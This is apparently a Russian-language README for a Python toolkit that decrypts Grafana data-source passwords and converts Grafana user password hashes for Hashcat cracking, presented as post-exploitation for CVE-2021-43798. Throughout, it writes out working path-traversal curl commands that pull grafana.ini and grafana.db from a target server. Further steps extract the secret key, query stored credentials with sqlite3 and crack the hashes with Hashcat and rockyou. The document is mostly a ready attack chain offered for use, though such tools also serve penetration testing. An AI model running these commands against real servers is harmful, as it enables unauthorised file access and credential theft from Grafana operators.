
Набор инструментов на Python для дешифрования AES-256 и взлома паролей PBKDF2 из баз данных Grafana, обычно используемый совместно с (CVE-2021-43798)
Python-инструментарий для расшифровки и взлома паролей Grafana из различных форматов.
Автор: strikoder
Обрабатывает два типа хранения паролей Grafana:
Идеально подходит для пост-эксплуатации после CVE-2021-43798 (path traversal).
Уязвимость path traversal в Grafana версий 8.0.0-beta1 – 8.3.0, позволяющая неавторизованным злоумышленникам читать произвольные файлы на сервере, включая:
/etc/grafana/grafana.ini)/var/lib/grafana/grafana.db)/etc/passwd)Пример эксплуатации:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is --output grafana.db
Этот инструментарий завершает цепочку атаки, расшифровывая/взламывая пароли, извлечённые из базы данных.
Расшифровывает пароли, зашифрованные AES-256, из таблицы data_source.
Основан на: jas502n/Grafana-CVE-2021-43798 с ключевыми улучшениями:
Преобразует хеши PBKDF2_HMAC_SHA256 Grafana из таблицы user в формат, совместимый с Hashcat, для взлома паролей.
Автор: iamaldi/grafana2hashcat
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #для расшифровки
chmod +x AESDecrypt.py grafana2hashcat.py
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
python3 AESDecrypt.py -f hashes.txt
Извлеките секретный ключ из конфигурации Grafana:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
python3 grafana2hashcat.py grafana_hashes.txt
Формат ввода (grafana_hashes.txt):
hash1,salt1
hash2,salt2
hash3,salt3
Вывод (готов для Hashcat):
sha256:10000:base64_salt:base64_hash
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
hashcat -m 10900 hashcat_hashes.txt wordlist.txt
# 1. Извлеките секретный ключ из grafana.ini (в некоторых случаях может быть пустым, тогда используйте ключ по умолчанию из Python-программы)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep secret_key
# 2. Скачайте базу данных
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 3. Извлеките зашифрованные AES пароли из таблицы data_source
sqlite3 grafana.db "SELECT name, password FROM data_source;"
# 4. Сохраните пароли в файл (по одному в строке)
# Пример: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
# 5. Расшифруйте с помощью извлечённого секретного ключа
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
# 0. Скачайте базу данных
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 1. Извлеките хеши паролей PBKDF2 из таблицы user
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
# 2. Отформатируйте хеши для grafana2hashcat (формат hash,salt)
# Пример формата в grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
# 3. Преобразуйте в формат Hashcat
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
# 4. Взломайте с помощью Hashcat (режим 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt
⭐ Полезно? Поставьте звёздочку!
Разработано strikoder
| Тип пароля | Таблица в БД | Формат | Инструмент | Режим Hashcat |
|---|
| Зашифровано AES-256 | data_source | Строка Base64 | AESDecrypt.py | Н/Д (прямая расшифровка) |
| PBKDF2_HMAC_SHA256 | user | Хеш hex + соль | grafana2hashcat.py | -m 10900 |